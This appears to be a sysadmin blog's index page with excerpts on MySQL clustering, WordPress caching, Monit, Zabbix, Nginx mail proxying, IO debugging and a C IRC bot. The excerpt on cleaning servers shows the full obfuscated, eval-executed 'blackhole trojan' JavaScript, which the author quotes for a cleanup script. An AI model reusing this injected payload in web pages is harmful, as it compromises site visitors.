Percona’s XtraDB Cluster synchronizes quickly enough that you can simply put it behind a load balancer. There is no need to only write to a master, or use regular SQL replication. I am using it behind a hardware load balancer. You can simply have it check that MySQL is running by connecting to port 3306, but you could also do something a bit more sophisticated and make sure that MySQL is accepting logins, and that the cluster is fully synced. (more…)

WordPress is PHP based CMS that uses MySQL for its backend. It’s incredibly easy to use once configured. By design, every page load is dynamic, and content is selected out of the database. Even if content has not changed, every page load requires several queries and of course running a significant amount of PHP code. With a very popular WordPress blog or a lower end server, this can quickly become a problem. Loading just the index page of my WordPress blog requires 9 SQL queries (I have a few plugins that may contribute to this). Seeing as how I post only once every few months, wouldn’t it be nice if the content could be served as static content? It would not require PHP to be invoked at all, let alone MySQL.
(more…)

Monit is an opensource tool for monitoring services and files. It can monitor your services to see if they are listening on the port they are supposed to, to see if they are using too much memory or CPU, or it can just check if your service is even running. This could be the difference between reading an email the next day about how a service was restarted, and being paged at 2am to restart a service. (more…)

Zabbix is a very powerful opensource monitoring system developed in PHP. It is fairly easy to install, but the web interface is unintuitive to say the least. This guide will cover installing the Zabbix server daemon on CentOS 6 using the MySQL backend. Version 2.0.x will be used as that is the latest stable version as of the writing of this article. Part two of this article will cover setting up the Zabbix agent on a server to be monitored, part three will cover setting up notifications when a service goes down, and part four will cover setting up custom web scenarios for monitoring a website.

(more…)

I’ve had to clean up a number of servers that are infected by the blackhole trojan. It injects javascript code that looks like this:

/*km0ae9gr6m*/
i = 0;
try {
    prototype - 5;
} catch (z) {
    f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, 156, 117, 218, 98, 202, 114, 80, 41, 246, 118, 194, 114, 64, 104, 210, 61, 232, 104, 210, 115, 92, 115, 202, 101, 200, 47, 232, 104, 210, 115, 92, 81, 118, 118, 194, 114, 64, 108, 222, 61, 232, 104, 210, 115, 92, 115, 202, 101, 200, 37, 232, 104, 210, 115, 92, 81, 118, 118, 194, 114, 64, 116, 202, 115, 232, 61, 232, 104, 210, 115, 92, 65, 84, 108, 222, 45, 232, 104, 210, 115, 92, 82, 84, 104, 210, 59, 210, 102, 80, 116, 202, 115, 232, 62, 96, 41, 246, 116, 208, 105, 230, 46, 230, 101, 202, 100, 122, 116, 202, 115, 232, 125, 202, 108, 230, 101, 246, 116, 208, 105, 230, 46, 230, 101, 202, 100, 122, 116, 202, 115, 232, 43, 232, 104, 210, 115, 92, 77, 250, 114, 202, 116, 234, 114, 220, 40, 232, 104, 210, 115, 92, 115, 202, 101, 200, 42, 232, 104, 210, 115, 92, 111, 220, 101, 158, 118, 202, 114, 154, 41, 250, 102, 234, 110, 198, 116, 210, 111, 220, 32, 164, 97, 220, 100, 222, 109, 156, 117, 218, 98, 202, 114, 142, 101, 220, 101, 228, 97, 232, 111, 228, 40, 234, 110, 210, 120, 82, 123, 236, 97, 228, 32, 200, 61, 220, 101, 238, 32, 136, 97, 232, 101, 80, 117, 220, 105, 240, 42, 98, 48, 96, 48, 82, 59, 236, 97, 228, 32, 230, 61, 200, 46, 206, 101, 232, 72, 222, 117, 228, 115, 80, 41, 124, 49, 100, 63, 98, 58, 96, 59, 232, 104, 210, 115, 92, 115, 202, 101, 200, 61, 100, 51, 104, 53, 108, 55, 112, 57, 96, 49, 86, 40, 200, 46, 206, 101, 232, 77, 222, 110, 232, 104, 80, 41, 84, 48, 240, 70, 140, 70, 140, 70, 140, 41, 86, 40, 200, 46, 206, 101, 232, 68, 194, 116, 202, 40, 82, 42, 96, 120, 140, 70, 140, 70, 82, 43, 80, 77, 194, 116, 208, 46, 228, 111, 234, 110, 200, 40, 230, 42, 96, 120, 140, 70, 140, 41, 82, 59, 232, 104, 210, 115, 92, 65, 122, 52, 112, 50, 110, 49, 118, 116, 208, 105, 230, 46, 154, 61, 100, 49, 104, 55, 104, 56, 102, 54, 104, 55, 118, 116, 208, 105, 230, 46, 162, 61, 232, 104, 210, 115, 92, 77, 94, 116, 208, 105, 230, 46, 130, 59, 232, 104, 210, 115, 92, 82, 122, 116, 208, 105, 230, 46, 154, 37, 232, 104, 210, 115, 92, 65, 118, 116, 208, 105, 230, 46, 222, 110, 202, 79, 236, 101, 228, 77, 122, 49, 92, 48, 94, 116, 208, 105, 230, 46, 154, 59, 232, 104, 210, 115, 92, 110, 202, 120, 232, 61, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, 156, 117, 218, 98, 202, 114, 118, 114, 202, 116, 234, 114, 220, 32, 232, 104, 210, 115, 250, 102, 234, 110, 198, 116, 210, 111, 220, 32, 198, 114, 202, 97, 232, 101, 164, 97, 220, 100, 222, 109, 156, 117, 218, 98, 202, 114, 80, 114, 88, 77, 210, 110, 88, 77, 194, 120, 82, 123, 228, 101, 232, 117, 228, 110, 64, 77, 194, 116, 208, 46, 228, 111, 234, 110, 200, 40, 80, 77, 194, 120, 90, 77, 210, 110, 82, 42, 228, 46, 220, 101, 240, 116, 80, 41, 86, 77, 210, 110, 82, 125, 204, 117, 220, 99, 232, 105, 222, 110, 64, 103, 202, 110, 202, 114, 194, 116, 202, 80, 230, 101, 234, 100, 222, 82, 194, 110, 200, 111, 218, 83, 232, 114, 210, 110, 206, 40, 234, 110, 210, 120, 88, 108, 202, 110, 206, 116, 208, 44, 244, 111, 220, 101, 82, 123, 236, 97, 228, 32, 228, 97, 220, 100, 122, 110, 202, 119, 64, 82, 194, 110, 200, 111, 218, 78, 234, 109, 196, 101, 228, 71, 202, 110, 202, 114, 194, 116, 222, 114, 80, 117, 220, 105, 240, 41, 118, 118, 194, 114, 64, 108, 202, 116, 232, 101, 228, 115, 122, 91, 78, 97, 78, 44, 78, 98, 78, 44, 78, 99, 78, 44, 78, 100, 78, 44, 78, 101, 78, 44, 78, 102, 78, 44, 78, 103, 78, 44, 78, 104, 78, 44, 78, 105, 78, 44, 78, 106, 78, 44, 78, 107, 78, 44, 78, 108, 78, 44, 78, 109, 78, 44, 78, 110, 78, 44, 78, 111, 78, 44, 78, 112, 78, 44, 78, 113, 78, 44, 78, 114, 78, 44, 78, 115, 78, 44, 78, 116, 78, 44, 78, 117, 78, 44, 78, 118, 78, 44, 78, 119, 78, 44, 78, 120, 78, 44, 78, 121, 78, 44, 78, 122, 78, 93, 118, 118, 194, 114, 64, 115, 232, 114, 122, 39, 78, 59, 204, 111, 228, 40, 236, 97, 228, 32, 210, 61, 96, 59, 210, 60, 216, 101, 220, 103, 232, 104, 118, 105, 86, 43, 82, 123, 230, 116, 228, 43, 122, 108, 202, 116, 232, 101, 228, 115, 182, 99, 228, 101, 194, 116, 202, 82, 194, 110, 200, 111, 218, 78, 234, 109, 196, 101, 228, 40, 228, 97, 220, 100, 88, 48, 88, 108, 202, 116, 232, 101, 228, 115, 92, 108, 202, 110, 206, 116, 208, 45, 98, 41, 186, 125, 228, 101, 232, 117, 228, 110, 64, 115, 232, 114, 86, 39, 92, 39, 86, 122, 222, 110, 202, 125, 230, 101, 232, 84, 210, 109, 202, 111, 234, 116, 80, 102, 234, 110, 198, 116, 210, 111, 220, 40, 82, 123, 232, 114, 242, 123, 210, 102, 80, 116, 242, 112, 202, 111, 204, 32, 210, 102, 228, 97, 218, 101, 174, 97, 230, 67, 228, 101, 194, 116, 202, 100, 100, 61, 122, 34, 234, 110, 200, 101, 204, 105, 220, 101, 200, 34, 82, 123, 210, 102, 228, 97, 218, 101, 174, 97, 230, 67, 228, 101, 194, 116, 202, 100, 100, 61, 232, 114, 234, 101, 118, 118, 194, 114, 64, 117, 220, 105, 240, 61, 154, 97, 232, 104, 92, 114, 222, 117, 220, 100, 80, 43, 220, 101, 238, 32, 136, 97, 232, 101, 80, 41, 94, 49, 96, 48, 96, 41, 118, 118, 194, 114, 64, 100, 222, 109, 194, 105, 220, 78, 194, 109, 202, 61, 206, 101, 220, 101, 228, 97, 232, 101, 160, 115, 202, 117, 200, 111, 164, 97, 220, 100, 222, 109, 166, 116, 228, 105, 220, 103, 80, 117, 220, 105, 240, 44, 98, 54, 88, 39, 228, 117, 78, 41, 118, 105, 204, 114, 218, 61, 200, 111, 198, 117, 218, 101, 220, 116, 92, 99, 228, 101, 194, 116, 202, 69, 216, 101, 218, 101, 220, 116, 80, 34, 146, 70, 164, 65, 154, 69, 68, 41, 118, 105, 204, 114, 218, 46, 230, 101, 232, 65, 232, 116, 228, 105, 196, 117, 232, 101, 80, 34, 230, 114, 198, 34, 88, 34, 208, 116, 232, 112, 116, 47, 94, 34, 86, 100, 222, 109, 194, 105, 220, 78, 194, 109, 202, 43, 68, 47, 228, 117, 220, 102, 222, 114, 202, 115, 232, 114, 234, 110, 126, 115, 210, 100, 122, 99, 240, 34, 82, 59, 210, 102, 228, 109, 92, 115, 232, 121, 216, 101, 92, 119, 210, 100, 232, 104, 122, 34, 96, 112, 240, 34, 118, 105, 204, 114, 218, 46, 230, 116, 242, 108, 202, 46, 208, 101, 210, 103, 208, 116, 122, 34, 96, 112, 240, 34, 118, 105, 204, 114, 218, 46, 230, 116, 242, 108, 202, 46, 236, 105, 230, 105, 196, 105, 216, 105, 232, 121, 122, 34, 208, 105, 200, 100, 202, 110, 68, 59, 200, 111, 198, 117, 218, 101, 220, 116, 92, 98, 222, 100, 242, 46, 194, 112, 224, 101, 220, 100, 134, 104, 210, 108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96, 48, 82, 59];
    v = "e" + "v" + "a";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("b");
    if (e) q.appendChild(q + "");
} catch (fwbewe) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? "Code" : "");
for (; 1333 - 5 + 5 > i; i += 1) {
    j = i;
    if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2)));
}
if (f) e(s); /*qhk6sa6g1c*/

The good news it that the injected JavaScript is always in between these two constants: /*km0ae9gr6m*/ and /*qhk6sa6g1c*/. This looks like a job for a simple bash script, but I’m always doing things the wrong way so I wrote a quick PHP script that cleans the files. (more…)

Nginx is very useful as a mail proxy. You can have it call perl script (or any other kind of script served via HTTP) to do authentication, determine the back-end IP and port, or change the proxied username and password.

After the front-end (Nginx) does authentication, it passes the user’s credentials to the back end (some IMAP server in this case). During testing I found that authentication was always failing. Doing an strace showed that Nginx does not send a standard “tag login username password” but instead breaks this into three commands via a feature of IMAP called command continuation request.

(more…)

I recently was tasked with investigating why a mail server was running slow. It had an incredible amount of disk IO and a high await. I was tasked with identifying what was causing this IO usage and if anything could be done.

It was immediately obvious that the imapds running on the server were using the majority of IO resources. Newer Linux kernels expose IO usage stats per process in /proc/{pid}/io. I ended up writing a script that walks /proc and looks for processesed named ‘imapd.’ It stores the current amount of bytes read and written (read_bytes and write_bytes)

It’s pretty straight forward. I walk /proc to get the stats and save the state. I sleep for a few seconds, and then walk proc again. For each pid I then print the difference in bytes read and written compared to the first walk. This shows who used the most I/O over that time period. I don’t just look at the total bytes of IO because some processes are around longer than others and I want to know what is causing a problem right now. This script successfully identified several problem users.¬† (more…)

All of my programming classes in college were in C, but unfortunately I forgot most of it. I’ve been trying to re-learn, and I started with the simplest IRC bot possible. ¬†This code simply connects to an IRC server by its IP address on port 6667, logs in, and responds to PING commands.

I start by creating a socket.

if ( (*sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

Inet_pton is used to convert a IP address string into a number. Inet_aton would also work but there is no reason to use it as pton also supports IPV6 addresses.

if (inet_pton(AF_INET, server, &servaddr.sin_addr) <= 0) {

Connect is called to well, connect to the server.

if (connect(*sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0 )

Once the bot is connected to the IRC server, you simply need to provide your user and nickname. See RFC 1459 for more details.

    my_send(sockfd, "NICK clark\r\n", debug);
    my_send(sockfd, "USER clark 8 * : Clark Clarkerson\r\n", debug);

Join a channel:

    my_send(sockfd, "JOIN #pat\r\n", debug);

Now all that is left to do read any network traffic the server sends. In particular we are looking for the PING command from the server.

        n = my_read(sockfd, recvline, debug);

        if (n > 0) {
            recvline[n] = 0;
            if (strstr(recvline, "PING") != NULL) {
                out[0] = 0;
                pos = strstr(recvline, " ")+1;
                sprintf(out, "PONG %s\r\n", pos);
                my_send(sockfd, out, debug);
            }
        }

Once I receive a PING command I generate a PONG command that includes the parameter sent with the PING command. For example if I received “PING irc.example.com”, I respond with “PONG irc.example.com”.

That’s it! The entire code is below. I will be adding some additional features in a later post. (more…)